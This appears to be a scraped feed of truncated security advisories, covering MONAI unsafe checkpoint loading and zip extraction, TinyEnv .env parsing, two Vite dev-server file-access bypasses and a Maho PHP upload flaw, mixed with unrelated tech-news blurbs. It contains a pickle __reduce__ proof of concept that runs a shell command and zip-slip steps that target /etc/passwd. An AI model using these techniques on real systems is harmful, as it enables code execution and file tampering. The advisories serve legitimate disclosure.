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### Summary In ```model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True)``` in monai/bundle/scripts.py , ```weights_only=True``` is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints. This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface. Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution. The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints. ``` import os import tempfile import json import torch from pathlib import Path class MaliciousPayload: def __reduce__(self): return (os.system, ('touch /tmp/hacker2.txt',)) def test_checkpoint_loader_attack(): temp_dir = Path(tempfile.mkdtemp()) checkpoint_file = temp_dir / "m...

### Summary The extractall function ```zip_file.extractall(output_dir)``` is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability. When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file. ``` root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd adding: malicious.txt (stored 0%) addi...

### Impact TinyEnv did not properly strip inline comments inside .env values. This could lead to unexpected behavior or misconfiguration, where variables contain unintended characters (including # or comment text). Applications depending on strict environment values may expose logic errors, insecure defaults, or failed authentication. ### Patches Fixed in v1.0.11. Users should upgrade to the latest patched version. ### Workarounds As a temporary workaround, avoid using inline comments in .env files, or sanitize loaded values manually.

After 25 years at the Electronic Frontier Foundation, Cindy Cohn is stepping down as executive director. In a WIRED interview, she reflects on encryption, AI, and why she’s not ready to quit the battle.

### Impact TinyEnv did not require the `.env` file to exist when loading environment variables. This could lead to **unexpected behavior** where the application silently ignores missing configuration, potentially causing insecure defaults or deployment misconfigurations. Affected versions: - **1.0.1 → 1.0.2** - **1.0.9 → 1.0.10** ### Patches The issue has been fixed in **version 1.0.11**. All users should upgrade to `1.0.11` or later. ### Workarounds As a workaround, users can manually verify the existence of the `.env` file before initializing TinyEnv, for example: ```php if (!file_exists(__DIR__ . '/.env')) { throw new RuntimeException('.env file is missing!'); }

### Summary Files starting with the same name with the public directory were served bypassing the `server.fs` settings. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using --host or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - uses [the public directory feature](https://vite.dev/guide/assets.html#the-public-directory) (enabled by default) - a symlink exists in the public directory ### Details The [servePublicMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L79) function is in charge of serving public files from the server. It returns the [viteServePublicMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L106) function which runs the needed tests and serves the page. The viteSer...

### Summary Any HTML files on the machine were served regardless of the `server.fs` settings. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) - `appType: 'spa'` (default) or `appType: 'mpa'` is used This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. ### Details The [serveStaticMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L123) function is in charge of serving static files from the server. It returns the [viteServeStaticMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L136) function which runs the needed tests and serves the page. The...

### Summary In Maho 25.7.0, an authenticated staff user with access to the `Dashboard` and `Catalog\Manage Products` permissions can create a custom option on a listing with a file input field. By allowing file uploads with a `.php` extension, the user can use the filed to upload malicious PHP files, gaining remote code execution ### Details An user with the `Dashboard` and `Catalog\Manage Products` permissions can abuse the product custom options feature to bypass the application’s file upload restrictions. When creating a product custom option of type file upload, the user is allowed to define their own extension whitelist. This bypasses the application’s normal enforced whitelist and permits disallowed extensions, including `.php`. The file uploaded by the custom option is then written to a predictable location: ``` /public/media/custom_options/<first char of filename>/<second char of filename>/<md5 of file contents>.php ``` Because this path is directly accessible under the app...

September Microsoft Patch Tuesday. A total of 103 vulnerabilities, 29 fewer than in August. Of these, 25 vulnerabilities were added between the August and September MSPT. So far, no vulnerabilities are known to be exploited in the wild. Two have public PoC exploits: 🔸 DoS – Newtonsoft.Json (CVE-2024-21907)🔸 EoP – Azure Networking (CVE-2025-54914) Notable among […]

Nearly half the CVEs Microsoft disclosed in its September security update, including one publicly known bug, enable escalation of privileges.